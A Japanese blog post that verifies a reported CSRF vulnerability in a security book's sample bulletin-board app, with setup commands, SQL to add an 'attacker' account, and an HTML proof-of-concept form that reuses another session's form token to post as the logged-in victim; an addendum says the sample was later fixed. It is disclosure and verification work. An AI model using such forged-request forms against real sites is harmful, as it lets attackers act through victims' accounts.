書籍『Webアプリケーションセキュリティ対策入門』のCSRF脆弱性について追試してみた
以下の記事よると、書籍『Webアプリケーションセキュリティ対策入門』のサンプルにCSRF脆弱性があるということなので、確認してみることにしました。
サンプルのインストール
まず、Webアプリケーションセキュリティ対策入門の付録を更新 | yohgaki's blogよりサンプルコードsimple-bbs.tar.bz2
をダウンロードします。
展開し、データベースを作成します。
$ tar xvf simple-bbs.tar.bz2
$ (cd simple-bbs/dat/install/; php initdb.php)
データベースを作成:/Users/kenji/tmp/simple-bbs/dat/bbs.dat
form_idテーブルを作成しました。
userテーブルを作成しました。
threadテーブルを作成しました。
messageテーブルを作成しました。
ユーザー:guest パスワード:guest を作成しました。
ビルトインWebサーバを起動します。
$ cd simple-bbs
$ php -S 127.0.0.1:8000
これで http://127.0.0.1:8000/ にアクセスするとシンプル掲示板が動きました。
初期状態ではユーザがguest
しかありません。
$ sqlite3 dat/bbs.dat
SQLite version 3.8.5 2014-08-15 22:37:57
Enter ".help" for usage hints.
sqlite> select * from user;
1|guest|35675e68f4b5af7b995d9205ad0fc43842f16450|0|
攻撃者用のユーザも作成しておきましょう。パスワードはSHA1ハッシュなのでguest
と同じにしておきます。
sqlite> INSERT INTO user (username, password) VALUES ('attacker', '35675e68f4b5af7b995d9205ad0fc43842f16450');
sqlite> select * from user;
1|guest|35675e68f4b5af7b995d9205ad0fc43842f16450|0|
2|attacker|35675e68f4b5af7b995d9205ad0fc43842f16450|0|
攻撃者の作業
ユーザ名attacker
、パスワードguest
でログインできることを確認します。
そして「新規作成」を押して、そのページのHTMLを確認します。
…
<form name="thread_create" method="post" action="/thread_create.php">
<table>
<tr><td>タイトル</td><td><input type="text" name="title" /></td></tr>
<tr><td>メッセージ</td><td><textarea name="message"></textarea></td></tr>
</table>
<input type="submit" name="submit_btn" value="送信" />
<input type="hidden" name="form_id" value="62f9ccbcf93d9a0532ff43d638af9e664c8ffd2d" />
</form>
…
62f9ccbcf93d9a0532ff43d638af9e664c8ffd2d|1435627006
というトークンが埋め込まれていることがわかります。
データベースも確認してみます。
sqlite> select * from form_id;
62f9ccbcf93d9a0532ff43d638af9e664c8ffd2d|1435627006
それでは、攻撃用のHTMLファイルを作成します。CSRFの検証のためだけなのでHTMLフォームだけあれば十分です。
test.html
<form name="thread_create" method="post" action="http://127.0.0.1:8000/thread_create.php">
<table>
<tr><td>タイトル</td><td><input type="text" name="title" value="タイトル"/></td></tr>
<tr><td>メッセージ</td><td><textarea name="message">CSRF攻撃のテスト</textarea></td></tr>
</table>
<input type="submit" name="submit_btn" value="送信" />
<input type="hidden" name="form_id" value="62f9ccbcf93d9a0532ff43d638af9e664c8ffd2d" />
</form>
攻撃されるユーザ
ここから攻撃される側になります。
ユーザguest
でログインしてから、攻撃用のtest.html
をブラウザで開き「送信」ボタンを押します。
検証のためだけなので自分でボタンを押してますが、本物の攻撃者ならアクセスしただけで自動的に送信されるようにすることでしょう。
結果、以下のように投稿されました。
以上の検証より、この手順でCSRF攻撃は成功するということになります。
まとめ
- 書籍『Webアプリケーションセキュリティ対策入門』のサンプルにはCSRF脆弱性があります
(2015-07-01 追記) サンプルが更新され、このCSRF脆弱性はなくなりました。詳細は以下をご覧願います。
関連
Date: 2015/06/30